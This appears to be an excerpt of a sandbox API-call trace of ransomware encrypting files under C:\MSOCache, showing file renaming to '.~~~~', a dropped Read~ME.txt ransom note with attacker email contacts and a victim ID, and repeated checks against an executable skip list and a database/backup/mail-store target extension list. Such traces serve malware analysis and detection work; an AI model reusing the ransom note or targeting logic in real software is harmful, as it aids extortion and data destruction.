	[0064.548] WriteFile (in: hFile=0x11c, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0064.548] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0064.548] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0064.548] CloseHandle (hObject=0x11c) returned 1
	[0064.554] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x39e5c0
	[0064.554] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml.~~~~" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\setup.xml.~~~~")) returned 1
	[0064.554] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39e5c0 | out: hHeap=0x300000) returned 1
	[0064.554] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3571b8 | out: hHeap=0x300000) returned 1
	[0064.554] GetLastError () returned 0x0
	[0064.554] SetLastError (dwErrCode=0x0) 
	[0064.555] GetLastError () returned 0x0
	[0064.555] SetLastError (dwErrCode=0x0) 
	[0064.555] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362340 | out: hHeap=0x300000) returned 1
	[0064.555] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362320 | out: hHeap=0x300000) returned 1
	[0064.555] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x368b80 | out: hHeap=0x300000) returned 1
	[0064.555] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f0050 | out: hHeap=0x300000) returned 1
	[0064.557] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3fa750 | out: hHeap=0x300000) returned 1
	[0064.557] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e6730 | out: hHeap=0x300000) returned 1
	[0064.557] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e6e68 | out: hHeap=0x300000) returned 1
	[0064.557] RtlWakeConditionVariable () returned 0x365f70
	[0064.557] GetCurrentThreadId () returned 0x9cc
	[0064.557] GetCurrentThreadId () returned 0x9cc
	[0064.557] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e6e68
	[0064.557] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e6538 | out: hHeap=0x300000) returned 1
	[0064.557] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x35c998 | out: hHeap=0x300000) returned 1
	[0064.557] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e6538
	[0064.557] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Read~ME.txt" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\read~me.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c
	[0064.558] lstrlenW (lpString="Dear user! Your data is encrypted!\r\n\r\nAny attempts to decrypt your data yourself will lead to loss of information !! Be careful!\r\n\r\nOur mail:\r\n1. cryptofiles20202020@protonmail.com\r\n2. cryptofiles20202020@cock.li\r\n\r\nAttention!\r\n\r\nDecryption of your files is a paid service.\r\nIf you do not have money, then you can not apply. All is serious.\r\nContact us at the address and indicate your id in the subject line.\r\nYour ID: ff9adce5d1") returned 430
	[0064.558] WriteFile (in: hFile=0x11c, lpBuffer=0x368100*, nNumberOfBytesToWrite=0x35c, lpNumberOfBytesWritten=0x26dfed8, lpOverlapped=0x0 | out: lpBuffer=0x368100*, lpNumberOfBytesWritten=0x26dfed8*=0x35c, lpOverlapped=0x0) returned 1
	[0064.559] CloseHandle (hObject=0x11c) returned 1
	[0064.559] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e6538 | out: hHeap=0x300000) returned 1
	[0064.559] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e6e68 | out: hHeap=0x300000) returned 1
	[0064.559] RtlWakeConditionVariable () returned 0x365f70
	[0064.559] GetCurrentThreadId () returned 0x9cc
	[0064.560] GetCurrentThreadId () returned 0x9cc
	[0064.560] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x39d750
	[0064.560] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39ec68 | out: hHeap=0x300000) returned 1
	[0064.560] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x35cae8 | out: hHeap=0x300000) returned 1
	[0064.560] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x39ec68
	[0064.560] lstrlenW (lpString=".scr") returned 4
	[0064.560] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\.", lpSrch=".scr") returned 0x0
	[0064.560] lstrlenW (lpString=".cmd") returned 4
	[0064.560] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\.", lpSrch=".cmd") returned 0x0
	[0064.560] lstrlenW (lpString=".dll") returned 4
	[0064.560] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\.", lpSrch=".dll") returned 0x0
	[0064.560] lstrlenW (lpString=".bat") returned 4
	[0064.560] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\.", lpSrch=".bat") returned 0x0
	[0064.560] lstrlenW (lpString=".cpl") returned 4
	[0064.560] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\.", lpSrch=".cpl") returned 0x0
	[0064.560] lstrlenW (lpString=".sys") returned 4
	[0064.560] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\.", lpSrch=".sys") returned 0x0
	[0064.560] lstrlenW (lpString=".msc") returned 4
	[0064.560] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\.", lpSrch=".msc") returned 0x0
	[0064.560] lstrlenW (lpString=".com") returned 4
	[0064.560] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\.", lpSrch=".com") returned 0x0
	[0064.560] lstrlenW (lpString=".lnk") returned 4
	[0064.560] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\.", lpSrch=".lnk") returned 0x0
	[0064.560] lstrlenW (lpString=".msp") returned 4
	[0064.560] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\.", lpSrch=".msp") returned 0x0
	[0064.560] lstrlenW (lpString=".pif") returned 4
	[0064.560] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\.", lpSrch=".pif") returned 0x0
	[0064.561] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0064.561] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\.", lpSrch="msp\r\n.pif") returned 0x0
	[0064.561] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\." (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\."), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0064.561] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39ec68 | out: hHeap=0x300000) returned 1
	[0064.561] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39d750 | out: hHeap=0x300000) returned 1
	[0064.561] RtlWakeConditionVariable () returned 0x365f70
	[0064.561] GetCurrentThreadId () returned 0x9cc
	[0064.561] GetCurrentThreadId () returned 0x9cc
	[0064.561] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x39ec68
	[0064.561] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39e938 | out: hHeap=0x300000) returned 1
	[0064.561] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x35ca78 | out: hHeap=0x300000) returned 1
	[0064.561] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x39e938
	[0064.561] lstrlenW (lpString=".scr") returned 4
	[0064.561] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\..", lpSrch=".scr") returned 0x0
	[0064.561] lstrlenW (lpString=".cmd") returned 4
	[0064.561] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\..", lpSrch=".cmd") returned 0x0
	[0064.561] lstrlenW (lpString=".dll") returned 4
	[0064.561] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\..", lpSrch=".dll") returned 0x0
	[0064.561] lstrlenW (lpString=".bat") returned 4
	[0064.561] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\..", lpSrch=".bat") returned 0x0
	[0064.561] lstrlenW (lpString=".cpl") returned 4
	[0064.561] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\..", lpSrch=".cpl") returned 0x0
	[0064.561] lstrlenW (lpString=".sys") returned 4
	[0064.561] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\..", lpSrch=".sys") returned 0x0
	[0064.562] lstrlenW (lpString=".msc") returned 4
	[0064.562] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\..", lpSrch=".msc") returned 0x0
	[0064.562] lstrlenW (lpString=".com") returned 4
	[0064.562] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\..", lpSrch=".com") returned 0x0
	[0064.562] lstrlenW (lpString=".lnk") returned 4
	[0064.562] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\..", lpSrch=".lnk") returned 0x0
	[0064.562] lstrlenW (lpString=".msp") returned 4
	[0064.562] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\..", lpSrch=".msp") returned 0x0
	[0064.562] lstrlenW (lpString=".pif") returned 4
	[0064.562] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\..", lpSrch=".pif") returned 0x0
	[0064.562] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0064.562] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\..", lpSrch="msp\r\n.pif") returned 0x0
	[0064.562] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\.." (normalized: "c:\\msocache\\all users"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0064.562] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39e938 | out: hHeap=0x300000) returned 1
	[0064.562] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39ec68 | out: hHeap=0x300000) returned 1
	[0064.562] RtlWakeConditionVariable () returned 0x365f70
	[0064.562] GetCurrentThreadId () returned 0x9cc
	[0064.562] GetCurrentThreadId () returned 0x9cc
	[0064.562] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e6e68
	[0064.562] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e6928 | out: hHeap=0x300000) returned 1
	[0064.562] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x35ca40 | out: hHeap=0x300000) returned 1
	[0064.562] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e6928
	[0064.562] lstrlenW (lpString=".scr") returned 4
	[0064.562] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab", lpSrch=".scr") returned 0x0
	[0064.562] lstrlenW (lpString=".cmd") returned 4
	[0064.562] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab", lpSrch=".cmd") returned 0x0
	[0064.562] lstrlenW (lpString=".dll") returned 4
	[0064.562] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab", lpSrch=".dll") returned 0x0
	[0064.563] lstrlenW (lpString=".bat") returned 4
	[0064.563] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab", lpSrch=".bat") returned 0x0
	[0064.563] lstrlenW (lpString=".cpl") returned 4
	[0064.563] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab", lpSrch=".cpl") returned 0x0
	[0064.563] lstrlenW (lpString=".sys") returned 4
	[0064.563] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab", lpSrch=".sys") returned 0x0
	[0064.563] lstrlenW (lpString=".msc") returned 4
	[0064.563] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab", lpSrch=".msc") returned 0x0
	[0064.563] lstrlenW (lpString=".com") returned 4
	[0064.563] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab", lpSrch=".com") returned 0x0
	[0064.563] lstrlenW (lpString=".lnk") returned 4
	[0064.563] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab", lpSrch=".lnk") returned 0x0
	[0064.563] lstrlenW (lpString=".msp") returned 4
	[0064.563] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab", lpSrch=".msp") returned 0x0
	[0064.563] lstrlenW (lpString=".pif") returned 4
	[0064.563] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab", lpSrch=".pif") returned 0x0
	[0064.563] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0064.563] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab", lpSrch="msp\r\n.pif") returned 0x0
	[0064.563] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlklr.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c
	[0064.564] lstrlenW (lpString=".sqb") returned 4
	[0064.564] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab", lpSrch=".sqb") returned 0x0
	[0064.564] lstrlenW (lpString=".ost") returned 4
	[0064.564] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab", lpSrch=".ost") returned 0x0
	[0064.564] lstrlenW (lpString=".txt") returned 4
	[0064.564] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab", lpSrch=".txt") returned 0x0
	[0064.564] lstrlenW (lpString=".mdt") returned 4
	[0064.564] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab", lpSrch=".mdt") returned 0x0
	[0064.565] lstrlenW (lpString=".BDB") returned 4
	[0064.565] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab", lpSrch=".BDB") returned 0x0
	[0064.565] lstrlenW (lpString=".eql") returned 4
	[0064.565] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab", lpSrch=".eql") returned 0x0
	[0064.566] lstrlenW (lpString=".DBF") returned 4
	[0064.566] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab", lpSrch=".DBF") returned 0x0
	[0064.566] lstrlenW (lpString=".EQL") returned 4
	[0064.566] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab", lpSrch=".EQL") returned 0x0
	[0064.566] lstrlenW (lpString=".FDB") returned 4
	[0064.566] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab", lpSrch=".FDB") returned 0x0
	[0064.566] lstrlenW (lpString=".EDB") returned 4
	[0064.566] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab", lpSrch=".EDB") returned 0x0
	[0064.566] lstrlenW (lpString=".DACPAC") returned 7
	[0064.566] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab", lpSrch=".DACPAC") returned 0x0
	[0064.566] lstrlenW (lpString=".VHD") returned 4
	[0064.566] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab", lpSrch=".VHD") returned 0x0
	[0064.566] lstrlenW (lpString=".DBV") returned 4
	[0064.566] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab", lpSrch=".DBV") returned 0x0
	[0064.566] lstrlenW (lpString=".dacpac") returned 7
	[0064.566] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab", lpSrch=".dacpac") returned 0x0
	[0064.566] lstrlenW (lpString=".sdf") returned 4
	[0064.566] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab", lpSrch=".sdf") returned 0x0
	[0064.566] lstrlenW (lpString=".accdb") returned 6
	[0064.566] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab", lpSrch=".accdb") returned 0x0
	[0064.566] lstrlenW (lpString=".DBX") returned 4
	[0064.566] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab", lpSrch=".DBX") returned 0x0
	[0064.566] lstrlenW (lpString=".MDT") returned 4
	[0064.566] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab", lpSrch=".MDT") returned 0x0
	[0064.566] lstrlenW (lpString=".SQB") returned 4
	[0064.566] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab", lpSrch=".SQB") returned 0x0
	[0064.566] lstrlenW (lpString=".vhd") returned 4
	[0064.566] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab", lpSrch=".vhd") returned 0x0
	[0064.566] lstrlenW (lpString=".bac") returned 4
	[0064.566] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab", lpSrch=".bac") returned 0x0
	[0064.566] lstrlenW (lpString=".mdf") returned 4
	[0064.566] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab", lpSrch=".mdf") returned 0x0
	[0064.567] lstrlenW (lpString=".BAK") returned 4
	[0064.567] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab", lpSrch=".BAK") returned 0x0
	[0064.567] lstrlenW (lpString=".BAC") returned 4
	[0064.567] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab", lpSrch=".BAC") returned 0x0
	[0064.567] lstrlenW (lpString=".dbs") returned 4
	[0064.567] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab", lpSrch=".dbs") returned 0x0
	[0064.567] lstrlenW (lpString=".vhdx") returned 5
	[0064.567] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab", lpSrch=".vhdx") returned 0x0
	[0064.567] lstrlenW (lpString=".NDF") returned 4
	[0064.567] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab", lpSrch=".NDF") returned 0x0
	[0064.567] lstrlenW (lpString=".dat") returned 4
	[0064.567] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab", lpSrch=".dat") returned 0x0
	[0064.567] lstrlenW (lpString=".DBS") returned 4
	[0064.567] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab", lpSrch=".DBS") returned 0x0
	[0064.567] lstrlenW (lpString=".CKP") returned 4
	[0064.567] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab", lpSrch=".CKP") returned 0x0
	[0064.567] lstrlenW (lpString=".edb") returned 4
	[0064.567] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab", lpSrch=".edb") returned 0x0
	[0064.567] lstrlenW (lpString=".PST") returned 4
	[0064.567] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab", lpSrch=".PST") returned 0x0
	[0064.567] lstrlenW (lpString=".dbf") returned 4
	[0064.567] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab", lpSrch=".dbf") returned 0x0
	[0064.567] lstrlenW (lpString=".SQL") returned 4
	[0064.567] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab", lpSrch=".SQL") returned 0x0
	[0064.567] lstrlenW (lpString=".pst") returned 4
	[0064.567] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab", lpSrch=".pst") returned 0x0
	[0064.567] lstrlenW (lpString=".dbv") returned 4
	[0064.567] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab", lpSrch=".dbv") returned 0x0
	[0064.567] lstrlenW (lpString=".SDF") returned 4
	[0064.567] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab", lpSrch=".SDF") returned 0x0
	[0064.567] lstrlenW (lpString=".dtxs") returned 5
	[0064.567] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab", lpSrch=".dtxs") returned 0x0
	[0064.568] lstrlenW (lpString=".db3") returned 4
	[0064.568] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab", lpSrch=".db3") returned 0x0
	[0064.568] lstrlenW (lpString=".OST") returned 4
	[0064.568] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab", lpSrch=".OST") returned 0x0
	[0064.568] lstrlenW (lpString=".dbx") returned 4
	[0064.568] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab", lpSrch=".dbx") returned 0x0
	[0064.568] lstrlenW (lpString=".DB3") returned 4
	[0064.568] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab", lpSrch=".DB3") returned 0x0
	[0064.568] lstrlenW (lpString=".DAT") returned 4
	[0064.568] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab", lpSrch=".DAT") returned 0x0
	[0064.568] lstrlenW (lpString=".VHDX") returned 5
	[0064.568] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab", lpSrch=".VHDX") returned 0x0
	[0064.568] lstrlenW (lpString=".ndf") returned 4
	[0064.568] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab", lpSrch=".ndf") returned 0x0
	[0064.568] lstrlenW (lpString=".DB") returned 3
	[0064.568] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab", lpSrch=".DB") returned 0x0
	[0064.568] lstrlenW (lpString=".sql") returned 4
	[0064.568] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab", lpSrch=".sql") returned 0x0
	[0064.568] lstrlenW (lpString=".MYD") returned 4
	[0064.568] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab", lpSrch=".MYD") returned 0x0
	[0064.568] lstrlenW (lpString=".DBT") returned 4
